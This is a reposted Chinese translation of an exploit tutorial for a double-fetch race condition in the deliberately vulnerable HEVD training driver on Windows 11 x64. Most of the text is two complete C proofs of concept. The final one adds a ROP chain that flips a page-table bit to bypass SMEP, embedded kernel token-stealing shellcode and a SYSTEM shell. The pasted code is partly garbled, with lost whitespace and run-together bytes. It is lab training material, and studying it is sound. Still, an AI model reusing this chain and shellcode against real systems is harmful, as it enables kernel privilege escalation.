现代 Windows 内核条件竞争 - Windows 11 (x64)

admin 2025年3月26日22:30:37评论12 views字数 12478阅读41分35秒阅读模式

【翻译】0x08 - Modern Windows Kernel Race Conditions

Windows 内核条件竞争(double fetch)介绍

征服了 Windows 7 (x86)之后,我们可以继续尝试在 Windows 11 (x64) 中进行利用。

让我们开始吧。

逆向工程

让我们看一下易受攻击的处理程序以及处理程序函数使用的相应结构。

现代 Windows 内核条件竞争 - Windows 11 (x64)

接下来,让我们看一下存在 Double Fetch 漏洞的 TriggerDoubleFetch() 函数。

现代 Windows 内核条件竞争 - Windows 11 (x64)

我们可以看到,我们控制的输入被引用了两次,就像之前一样,这意味着我们应该能够以与之前相同的方式触发条件竞争,更具体地说是 double fetch!让我们编写一个概念验证(PoC)!

概念验证

有了所有这些信息(加上我们在 Windows 7 中的经验),我们可以继续编写一个概念验证。

#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<windows.h>#include<psapi.h>#include<ntdef.h>#include<winternl.h>#include<shlwapi.h>#include<processthreadsapi.h>/* IOCTL */#define DOUBLE_FETCH_IOCTL 0x222037/* Max threads */#define NUM_THREADS 5/* Exploit Buffer */#define BUFFER 0x1000/* Structure used by Double Fetch */typedefstruct _DOUBLE_FETCH{void * Buffer;uint64_t Size;} DOUBLE_FETCH, *PDOUBLE_FETCH;/* Structure for threads */typedefstruct _IRP_ARGS{  HANDLE hHEVD;  PDOUBLE_FETCH pDoubleFetch;} IRP_ARGS, *PIRP_ARGS;/* CheckWin():     Simple function to check if we're running as SYSTEM */intCheckWin(VOID){  DWORD win = 0;  DWORD dwLen = 0;  CHAR *cUsername = NULL;  GetUserNameA(NULL, &dwLen);if (dwLen > 0) {    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));  } else {printf("[-] Failed to allocate buffer for username checkn");return-1;  }  GetUserNameA(cUsername, &dwLen);  win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* TriggerRaceCondition():     Since driver reads from userland twice we can overwrite the existing condition that bypasses the checkslmgr -rearm     at runtime. If we win the race we successfully trigger a buffer overflow! */DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters){  PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;while (1) {    pIrpArgs->pDoubleFetch->Size = BUFFER;  }return0;}/* TriggerWorkingCondition():     As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need     our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that     condition. */DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters){  DWORD dwBytesReturned = 0;  PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;printf("t[*] Spraying DoubleFetchObject(s): %p, Size: 0x%xn", pIrpArgs->pDoubleFetch,                                                                  pIrpArgs->pDoubleFetch->Size);while (1)  {    pIrpArgs->pDoubleFetch->Size = 0x10;    DeviceIoControl(pIrpArgs->hHEVD,                    DOUBLE_FETCH_IOCTL,                    pIrpArgs->pDoubleFetch,sizeof(DOUBLE_FETCH),NULL,0x00,                    &dwBytesReturned,NULL);  }return0;}/* GenerateExploitBuffer():     Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */voidGenerateExploitBuffer(LPVOID lpvBuffer){uint64_t *payload = (uint64_t *)(lpvBuffer);for (int i = 0; i < (BUFFER / sizeof(uint64_t)); i++)  {    *payload++ = 0x4141414141414141;  }}/* Exploit():     Double Fetch */intExploit(HANDLE hHEVD){  LPVOID lpvMemoryAllocation = NULL;  HANDLE hThreadWork[NUM_THREADS] = { 0 };  HANDLE hThreadRace[NUM_THREADS] = { 0 };  PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS));  PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH));  lpvMemoryAllocation = VirtualAlloc(NULL,                                     BUFFER,                                     (MEM_COMMIT | MEM_RESERVE),                                     PAGE_EXECUTE_READWRITE);if (lpvMemoryAllocation == NULL)  {printf("[-] Failed to allocate exploitation buffern");return-1;  }printf("[*] Successfully allocated exploitation buffern");/* Fill up the buffer */  GenerateExploitBuffer(lpvMemoryAllocation);/* Setup the Double Fetch object */  pDoubleFetchObject->Buffer = lpvMemoryAllocation;  pDoubleFetchObject->Size = 0;/* Setup the base IRP argument(s) */  pIrpArgs->hHEVD = hHEVD;  pIrpArgs->pDoubleFetch = pDoubleFetchObject;/* Start the race!! */printf("[*] Off to the racesn");for (int i = 0; i < NUM_THREADS; i++)  {    hThreadWork[i] = CreateThread(NULL,  0, TriggerWorkingCondition, pIrpArgs, 0NULL);    hThreadRace[i] = CreateThread(NULL,  0, TriggerRaceCondition, pIrpArgs, 0NULL);  }  WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 10000);for (int i = 0; i < NUM_THREADS; i++)  {    TerminateThread(hThreadWork[i], 0);    CloseHandle(hThreadWork[i]);    TerminateThread(hThreadRace[i], 0);    CloseHandle(hThreadRace[i]);  }return CheckWin();}intmain(){  HANDLE hHEVD = NULL;  hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",                      (GENERIC_READ | GENERIC_WRITE),0x00,NULL,                      OPEN_EXISTING,                      FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == NULL)  {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1;  }if (Exploit(hHEVD) == 0) {printf("[*] Exploitation successful, enjoy de shell!!nn");    system("cmd.exe");  } else {printf("[-] Exploitation failed, run againn");  }if (hHEVD != INVALID_HANDLE_VALUE) {    CloseHandle(hHEVD);  }}

发送后,我们可以看到我们已经覆盖了返回地址并获得了对指令指针的控制 现代 Windows 内核条件竞争 - Windows 11 (x64)

现代 Windows 内核条件竞争 - Windows 11 (x64)

获取代码执行权限

在缓冲区溢出之前,我们很可能有足够的空间注入 ROP 链来绕过内存保护。在看到覆盖发生在 2064 字节处后,我们可以继续寻找 gadget。

C:>rp-win.exe --rop=100 --va=0 --file C:WindowsSystem32ntoskrnl.exe > rop.txt

如果需要,别忘了转换为 ascii 现代 Windows 内核条件竞争 - Windows 11 (x64)

iconv -f utf-16 -t us-ascii//TRANSLIT rop.txt > rop_ascii.txt

遗憾的是,在查看我们的选项后,我们没有看到很多 sub rsp gadget,即使我们设法找到一个...... 看起来我们写入的缓冲区被我们没有发送的额外数据污染了。

现代 Windows 内核条件竞争 - Windows 11 (x64)

所以如果我们不能向后跳转,那就向前跳转!既然我们可以写入"我们想要的任意数量",那么让我们在返回地址覆盖之后写入我们的 ROP 链!

利用过程

以下是最终的 PoC 代码:

#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<windows.h>#include<psapi.h>#include<ntdef.h>#include<winternl.h>#include<shlwapi.h>#include<processthreadsapi.h>/* IOCTL */#define DOUBLE_FETCH_IOCTL 0x222037/* Max threads */#define NUM_THREADS 5 // 10/* Exploit Buffer */#define BUFFER 0x900#define RETOVR 2064/* Structure used by Double Fetch */typedefstruct _DOUBLE_FETCH{void * Buffer;uint64_t Size;} DOUBLE_FETCH, *PDOUBLE_FETCH;/* Structure for threads */typedefstruct _IRP_ARGS{  HANDLE hHEVD;  PDOUBLE_FETCH pDoubleFetch;} IRP_ARGS, *PIRP_ARGS;/* GetKernelModuleBase():     Function used to obtain kernel module address */LPVOID GetKernelModuleBase(PCHAR pKernelModule){char pcDriver[1024]    = { 0 };  LPVOID lpvTargetDriver = NULL;  LPVOID *lpvDrivers     = NULL;  DWORD dwCB             = 0;  DWORD dwDrivers        = 0;  DWORD i                = 0;  EnumDeviceDrivers(NULL, dwCB, &dwCB);if (dwCB <= 0)returnNULL;  lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));if (lpvDrivers == NULL)returnNULL;if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))  {    dwDrivers = dwCB / sizeof(LPVOID);for (i = 0; i < dwDrivers; i++)if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))if (StrStrA(pcDriver, pKernelModule) != NULL)          lpvTargetDriver = lpvDrivers[i];  }free(lpvDrivers);return lpvTargetDriver;}/* CheckWin():     Simple function to check if we're running as SYSTEM */intCheckWin(VOID){  DWORD win = 0;  DWORD dwLen = 0;  CHAR *cUsername = NULL;  GetUserNameA(NULL, &dwLen);if (dwLen > 0) {    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));  } else {printf("[-] Failed to allocate buffer for username checkn");return-1;  }  GetUserNameA(cUsername, &dwLen);  win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* TriggerRaceCondition():     Since driver reads from userland twice we can overwrite the existing condition that bypasses the checkslmgr -rearm     at runtime. If we win the race we successfully trigger a buffer overflow! */DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters){  PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;while (1) {    pIrpArgs->pDoubleFetch->Size = BUFFER;  }return0;}/* TriggerWorkingCondition():     As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need     our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that     condition. */DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters){  DWORD dwBytesReturned = 0;  PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;printf("t[!] Racing!!! Spraying Object(s): %p, Size: 0x%xn", pIrpArgs->pDoubleFetch,                                                                 pIrpArgs->pDoubleFetch->Size);while (1)  {    pIrpArgs->pDoubleFetch->Size = 0x10;    DeviceIoControl(pIrpArgs->hHEVD,                    DOUBLE_FETCH_IOCTL,                    pIrpArgs->pDoubleFetch,sizeof(DOUBLE_FETCH),NULL,0x00,                    &dwBytesReturned,NULL);  }return0;}/* GenerateExploitBuffer():     Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */DWORD GenerateExploitBuffer(LPVOID lpvNt, LPVOID lpvBuffer){  DWORD i = 0;  LPVOID lpvShellcode = NULL;uint64_t nt = (uint64_t)(lpvNt);uint64_t *payload = (uint64_t *)(lpvBuffer);uint8_t sc[129] = {// sickle-tool -p windows/x64/kernel_token_stealer -f num (58 bytes)0x650x480xa10x880x010x000x000x000x000x000x000x480x8b0x800xb80x000x000x000x480x890xc10xb20x040x480x8b0x800x480x040x000x000x480x2d0x480x040x000x000x380x900x400x040x000x000x750xeb0x480x8b0x900xb80x040x000x000x480x890x910xb80x040x000x00,// sickle-tool -p windows/x64/kernel_sysret -f num (71)0x650x480xa10x880x010x000x000x000x000x000x000x660x8b0x880xe40x010x000x000x660xff0xc10x660x890x880xe40x010x000x000x480x8b0x900x900x000x000x000x480x8b0x8a0x680x010x000x000x4c0x8b0x9a0x780x010x000x000x480x8b0xa20x800x010x000x000x480x8b0xaa0x580x010x000x000x310xc00x0f0x010xf80x480x0f0x07 };  lpvShellcode = VirtualAlloc(NULL129, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (lpvShellcode == NULL)  {printf("[-] Failed to allocate memory to house shellcoden");return-1;  }  RtlCopyMemory(lpvShellcode, sc, 129);for (i = 0; i < (RETOVR / sizeof(uint64_t)); i++) {    *payload++ = nt + 0xa4ea7d// ret  }/* Prepare RDX register for later. This is needed for the XOR operation */  *payload++ = nt + 0x40ed4e// pop rdx ; pop rax ; pop rcx ; ret  *payload++ =      0x000008// Set RDX to 0x08, we will need this to accomplish the XOR  *payload++ =      0x000000// [filler]  *payload++ =      0x000000// [filler]/* Setup the call to MiGetPteAddress in order to get the address of the PTE for our     userland code. The setup is as follows:       RAX -> VOID *MiGetPteAddress(         ( RCX == PTE / Userland Code )       );     Once the call is complete RAX should contain the pointer to our PTE. */  *payload++ = nt + 0x57699c;       // pop rcx ; ret  *payload++ = (uint64_t)lpvShellcode; // *shellcode  *payload++ = nt + 0x24aaec;       // MiGetPteAddress()/* Now that we have obtained the PTE address, we can modify the 2nd bit in order to       mark the page as a kernel page (U -> K). We can do this using XOR ;) */  *payload++ = nt + 0x30fcf3// sub rax, rdx ; ret  *payload++ = nt + 0x54f344// push rax ; pop rbx ; ret  *payload++ = nt + 0x40ed4e// pop rdx ; pop rax ; pop rcx ; ret  *payload++ =      0x000004// 0x40ed4e: pop rdx ; pop rax ; pop rcx ; ret ; (1 found)  *payload++ =      0x000000// [filler]  *payload++ =      0x000000// [filler]  *payload++ = nt + 0x3788b6// xor  [rbx+0x08], edx ; mov rbx, qword [rsp+0x60] ; add rsp, 0x40 ; pop r14 ; pop rdi ; pop rbp ; ret/* Now we cam spray our shellcode address since SMEP and VPS should be bypassed */for (i = 0; i < 0xC; i++) {    *payload++ = (uint64_t)lpvShellcode;  }}/* Exploit():     Double Fetch */intExploit(HANDLE hHEVD){  LPVOID lpvNtKrnl = NULL;  LPVOID lpvMemoryAllocation = NULL;  HANDLE hThreadWork[NUM_THREADS] = { 0 };  HANDLE hThreadRace[NUM_THREADS] = { 0 };  PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS));  PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH));  lpvMemoryAllocation = VirtualAlloc(NULL,                                     BUFFER,                                     (MEM_COMMIT | MEM_RESERVE),                                     PAGE_EXECUTE_READWRITE);if (lpvMemoryAllocation == NULL)  {printf("[-] Failed to allocate exploitation buffern");return-1;  }printf("[*] Successfully allocated exploitation buffern");/* You already know ;)  */  lpvNtKrnl = GetKernelModuleBase("ntoskrnl");if (lpvNtKrnl == NULL)  {printf("[-] Failed to obtain the base address of ntn");return-1;  }printf("[*] Obtained the base address of nt: 0x%pn", lpvNtKrnl);/* Fill up the buffer */  GenerateExploitBuffer(lpvNtKrnl, lpvMemoryAllocation);/* Setup the Double Fetch object */  pDoubleFetchObject->Buffer = lpvMemoryAllocation;  pDoubleFetchObject->Size = 0;/* Setup the base IRP argument(s) */  pIrpArgs->hHEVD = hHEVD;  pIrpArgs->pDoubleFetch = pDoubleFetchObject;/* Start the race!! */printf("[*] Viol, Opr, Conspiracy Originsn");for (int i = 0; i < NUM_THREADS; i++)  {    hThreadWork[i] = CreateThread(NULL,  0, TriggerWorkingCondition, pIrpArgs, 0NULL);    hThreadRace[i] = CreateThread(NULL,  0, TriggerRaceCondition, pIrpArgs, 0NULL);  }  WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 10000);for (int i = 0; i < NUM_THREADS; i++)  {    TerminateThread(hThreadWork[i], 0);    CloseHandle(hThreadWork[i]);    TerminateThread(hThreadRace[i], 0);    CloseHandle(hThreadRace[i]);  }return CheckWin();}intmain(){  HANDLE hHEVD = NULL;  hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",                      (GENERIC_READ | GENERIC_WRITE),0x00,NULL,                      OPEN_EXISTING,                      FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == NULL)  {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1;  }if (Exploit(hHEVD) == 0) {printf("[*] We won the race!!! Enjoy de shell!!nn");    system("cmd.exe");  } else {printf("[-] Exploitation failed, run againn");  }if (hHEVD != INVALID_HANDLE_VALUE) {    CloseHandle(hHEVD);  }}

发送后,我们获得了代码执行权限:

原文始发于微信公众号(securitainment):现代 Windows 内核条件竞争 - Windows 11 (x64)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月26日22:30:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   现代 Windows 内核条件竞争 - Windows 11 (x64)https://cn-sec.com/archives/3888204.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息